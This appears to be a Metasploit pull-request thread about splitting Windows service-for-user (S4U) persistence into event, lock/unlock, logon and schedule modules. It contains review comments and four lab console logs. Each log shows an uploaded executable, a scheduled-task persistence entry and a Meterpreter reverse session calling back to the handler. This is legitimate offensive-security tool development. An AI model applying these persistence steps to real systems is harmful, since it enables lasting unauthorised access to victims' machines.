s4u persistence updates

[h00die]

Updates the windows s4u persistence to the new mixin. The original persistence worked in several different and very cool ways, and I felt it would be best to split them out instead of complicating the datastore based on which technique was chosen. Part of #20374

Verification

• Start msfconsole
• exploit the box somehow
• use exploit/windows/persistence/service_for_user/<select a module>
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session after doing the trigger
• Verify cleanup works
• Document is updated and correct

[bwatters-r7]

There's a lot of repetitive code in this? Is the logon just the event module with a specific ID?
Would it make sense to offer some common Event ID's to the user in the Event ID module rather than add another module?
Could we implement the logon/lock modules without railgun/meterpreter so they could support shell? If were able to use any session, it would make sense to keep the subset of functionality for those modules.

[dledda-r7]

Looks good to me.

[dledda-r7]

msf exploit(windows/persistence/service_for_user/event) > 
[-] Handler failed to bind to 192.168.3.10:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\fHmDgc.exe
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\NcBEqXlOw.xml
[+] Persistence task ezmEoYceBcVdD created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.0511/WIN2022__620D_20260402.0511.rc

msf exploit(windows/persistence/service_for_user/event) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  2         meterpreter x64/windows  WIN2022__620D\msfuser @ WIN2022__620D  192.168.3.10:4444 -> 10.5.132.118:49844 (10.5.132.118)

msf exploit(windows/persistence/service_for_user/event) > 
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 3 opened (192.168.3.10:4444 -> 10.5.132.118:49846) at 2026-04-02 07:06:36 -0400

msf exploit(windows/persistence/service_for_user/event) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN2022__620D
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter > 

[dledda-r7]

msf exploit(windows/persistence/service_for_user/lock_unlock) > 
[-] Handler failed to bind to 192.168.3.10:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\WIrhJno.exe
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\SefKXw.xml
[+] Persistence task DPKdNXvhHmcK created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.2539/WIN2022__620D_20260402.2539.rc

msf exploit(windows/persistence/service_for_user/lock_unlock) > 
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 8 opened (192.168.3.10:4444 -> 10.5.132.118:49882) at 2026-04-02 08:26:13 -0400

msf exploit(windows/persistence/service_for_user/lock_unlock) > sessions -i 8
[*] Starting interaction with 8...

meterpreter > sysinfo
Computer        : WIN2022__620D
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter > 

[dledda-r7]

msf exploit(windows/persistence/service_for_user/logon) > 
[-] Handler failed to bind to 192.168.3.10:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\AAazlF.exe
[*] This triggers on event 4101 which validates the Windows license after logon
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\JDqbWOMYdwNMz.xml
[+] Persistence task vbwMJdmRAl created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.3049/WIN2022__620D_20260402.3049.rc

msf exploit(windows/persistence/service_for_user/logon) > 
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 9 opened (192.168.3.10:4444 -> 10.5.132.118:49883) at 2026-04-02 08:31:13 -0400

msf exploit(windows/persistence/service_for_user/logon) > sessions -i -1
[*] Starting interaction with 9...

meterpreter > sysinfo
Computer        : WIN2022__620D
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter > 

[dledda-r7]

msf exploit(windows/persistence/service_for_user/schedule) > 
[-] Handler failed to bind to 192.168.3.10:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\HsvwGfyDs.exe
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\jULvRkd.xml
[+] Persistence task xYDuLl created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.0108/WIN2022__620D_20260402.0108.rc

msf exploit(windows/persistence/service_for_user/schedule) > 
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 10 opened (192.168.3.10:4444 -> 10.5.132.118:49929) at 2026-04-02 09:06:11 -0400

msf exploit(windows/persistence/service_for_user/schedule) > sessions -i -1
[*] Starting interaction with 10...

meterpreter > sysinfo
Computer        : WIN2022__620D
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter > 

[sjanusz-r7]

Release Notes

Updates the Windows service-for-user persistence technique.